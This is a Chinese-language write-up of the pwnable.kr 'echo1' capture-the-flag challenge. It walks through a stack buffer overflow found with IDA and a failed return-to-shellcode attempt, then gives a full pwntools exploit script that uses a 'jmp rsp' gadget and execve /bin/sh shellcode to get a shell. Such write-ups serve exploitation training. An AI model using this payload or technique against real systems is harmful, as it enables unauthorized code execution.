echo1是一個64位的elf可執行文件,用checksec檢查發現基本沒有進行保護措施
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
用IDA查看僞代碼
_QWORD v7[4]; // [sp+10h] [bp-20h]@1
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
o = malloc(40uLL);
*((_QWORD *)o + 3) = greetings;
*((_QWORD *)o + 4) = byebye;
printf("hey, what's your name? : ", 0LL);
v3 = (int *)v7;
__isoc99_scanf("%24s", v7);
v4 = o;
*(_QWORD *)o = v7[0];
v4[1] = v7[1];
v4[2] = v7[2];
id = v7[0];
在main函數中存在上面一段代碼,僞代碼中v7的長度爲4,本來以爲這是個溢出點,但是查看彙編後發現v7的長度應爲24。所以main函數中不存在溢出漏洞
再找其他輸入的地方,發現echo1函數中存在輸入,且可以輸入120個字符,然而s距ebp長度只有32個字節,所以可以覆蓋返回地址進行溢出。
__int64 echo1()
{
char s; // [sp+0h] [bp-20h]@1
(*((void (__fastcall **)(_QWORD))o + 3))(o);
get_input(&s, 128);
puts(&s);
(*((void (__fastcall **)(_QWORD, _QWORD))o + 4))(o, 128LL);
return 0LL;
}
一開始想將返回地址覆蓋爲shellcode的地址既payload=shellcode+padding+shellcode地址
[+] Starting local process './echo1': pid 6366
"hey, what's your name? :"
'H1\xd2H\xbb//bin/shH\xc1\xeb\x08SH\x89\xe7PWH\x89\xe6\xb0;\x0f\x05aaaaaaaaaa\xa0\xdd\xff\xff\xff\x7f'
' hello \xff\xe4\n'
[*] Switching to interactive mode
H1�H\xbb//bin/shH�SH\x89�PWH\x89��;\x0f\x05aaaaaaaaaa\xa0��\xff\xff\x7f
goodbye \xff�
$ [*] Got EOF while reading in interactive
$ ls
[*] Process './echo1' stopped with exit code -11 (SIGSEGV) (pid 6366)
[*] Got EOF while sending in interactive
but,,失敗了..應該是程序運行的時候與調試時地址不相同導致的
嗯,只能試試別的辦法了,這時候想起了前一段時間看到的0day漏洞分析這本書上所講的通用跳板實現溢出
所以我們的思路可以是這樣:將返回地址覆蓋爲jmp esp的地址,然後拼接shellcode
payload=padding+jmpesp+shellcode
本題由於id是全局變量且將name的前兩個字符賦值給id,所以我們可以直接輸入asm(jmp rsp)
然後再跳轉到id的地址處即可
腳本如下:
“`
from pwn import *
jmp=’\xff\xe4’
p=process(‘./echo1’)
p=remote(‘pwnable.kr’,9010)
p.recvuntil(‘:’)
p.sendline(jmp)
p.recvuntil(‘>’)
p.sendline(‘1’)
shellcode=’\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05’
addr=’\xa0\xdd\xff\xff\xff\x7f’
payload=’a’*40+p64(0x6020A0)+shellcode
print repr(p.recvuntil(‘\n’))
p.sendline(payload)
p.interactive()
“